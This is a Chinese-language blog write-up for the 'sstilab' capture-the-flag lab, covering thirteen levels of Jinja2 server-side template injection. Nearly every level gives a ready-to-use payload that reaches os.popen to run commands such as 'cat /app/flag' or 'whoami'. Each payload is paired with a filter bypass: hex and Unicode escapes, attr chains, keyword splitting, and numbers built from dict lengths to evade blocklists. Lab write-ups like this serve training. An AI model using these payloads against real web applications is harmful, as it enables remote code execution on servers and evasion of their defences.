sstilab
level 1
无过滤
{{' '.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /app/flag').read()}}
level 2
过滤{} 用{%%}代替 print标记
{%print ' '.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /app/flag').read()%}
level 3?
盲注 无过滤 无回显
得到__builtins__利用eval来执行命令
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
#或者是其他可以得到__builtins__的关键字。
获取1:
{%set%20f=dict(f=a)|join%}{{(lipsum|string|list).index(f)}}
获取下划线:
{{(lipsum|string|list).pop(18)}}
获取chr
lipsum.__globals__['__builtins__'].chr
level 4
过滤了[ ]
,这里有两种情况下的过滤
-
使用
pop
或__getitem__()
代替索引中的[]
-
使用
__getattribute__
代替魔术方法中的[]
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('popen')('cat /app/flag').read()}}
level 5
过滤了单双引号
get提交
post提交
cookie绕过
level 6
绕过下划线_
,使用十六进制编码绕过,_
编码后为\x5f
先进行替换
string1 = "{{().__class__.__base__.__subclasses__()[213].__init__.__globals__['os'].popen('cat flag').read()}}"
def tohex(string):
result = ""
for i in range(len(string)):
if string[i] == '_':
result += "\\x"+hex(ord(string[i]))[2:]
continue
result += string[i]
print(result)
tohex(string1)
再添加[""],得到
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[213]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['os'].popen('cat /app/flag').read()}}
Unicode编码
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat /app/flag")|attr("read")()}}
或|attr(request方法)
level 7
过滤了 . 使用过滤器进行连接
{{config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /app/flag")|attr("read")()}}
level 8
["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]
过滤关键字 拼接式绕过
{%for i in ""["__cla""ss__"]["__mr""o__"][1]["__subcla""sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in""it__"]["__glo""bals__"]["po""pen"]('cat /app/flag')["re""ad"]()%}{%endif%}{%endfor%}
level 9
过滤了数字0-9,可以利用for循环来找到os._wrap_close,这样就不必使用数字。利用base寻找基类可以免去使用数字。
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat /app/flag').read()%}{%endif%}{%endfor%}
level 10
waf:set config = None
不使用config就可以
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat /app/flag').read()%}{%endif%}{%endfor%}
level 11
[''', '"', '+', 'request', '.', '[', ']']
拼接
1
或
最终为了构造的payload为
lipsum.**globals**.get('os').popen('cat /app/flag').read()
基本的payload
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /app/flag")|attr("read")()}}
思路:利用set来定义变量,使用attr()来提取使用变量绕过点,中括号。但是这样存在一个问题是需要获取下划线,所以使用下面payload来获取下划线。
首先查看_在第几个
{{(lipsum|string|list)}}
得到,这里是下标18为下划线
Hello ['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '7', '4', '1', '9', '6', '1', 'c', '6', '7', '0', '>']
{{(lipsum|string|list)|attr(pop)(18)}}
{{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}
这里问题来了,attr()里面要求的是字符串,直接输pop需要用引号''包围起来,但是这里又过滤了引号,所以要先构造一个pop字符串:
{% set pop=dict(pop=a)|join %}
{% xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
再构造其他的类 最后整合
{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
level 12
waf:bl['_', '.', '0-9', '', ''', '"', '[', ']']
比上一关多过滤了数字,可以使用index获取数字,payload基本不变
{{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}
或
{%set one=dict(aaaaaaaaaaaaa=a)|join|length*dict(aaaaaaaaaa=b)|join|length+dict(aaa=c)|join|length%}{%set t=dict(aaaaaa=a)|join|length*dict(aaa=b)|join|length%}{%set pop=dict(pop=a)|join %}{%set x=(lipsum|string|list)|attr(pop)(t)%}{%set a=(x,x,dict(cla=a,ss=b)|join,x,x)|join%}{%set b=(x,x,dict(ba=a,se=b)|join,x,x)|join%}{%set c=(x,x,dict(subcla=a,sses=b)|join,x,x)|join%}{%set d=(x,x,dict(in=a,it=b)|join,x,x)|join%}{%set e=(x,x,dict(glo=a,bals=b)|join,x,x)|join%}{%set f=dict(po=a,pen=b)|join%}{%set g=dict(who=a,ami=b)|join%}{%set h=(x,x,dict(get=a,item=b)|join,x,x)|join%}{%set j=dict(re=a,ad=b)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(h)(one)|attr(d)|attr(e)|attr(h)(f)(g)|attr(j)()}}
level 13
waf:bl['_', '.', '', ''', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']
比上一关多过滤了几个关键字
{{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}
标签:__,.__,attr,read,sstilab,__.__,dict
From: https://www.cnblogs.com/ningweiyu/p/18025066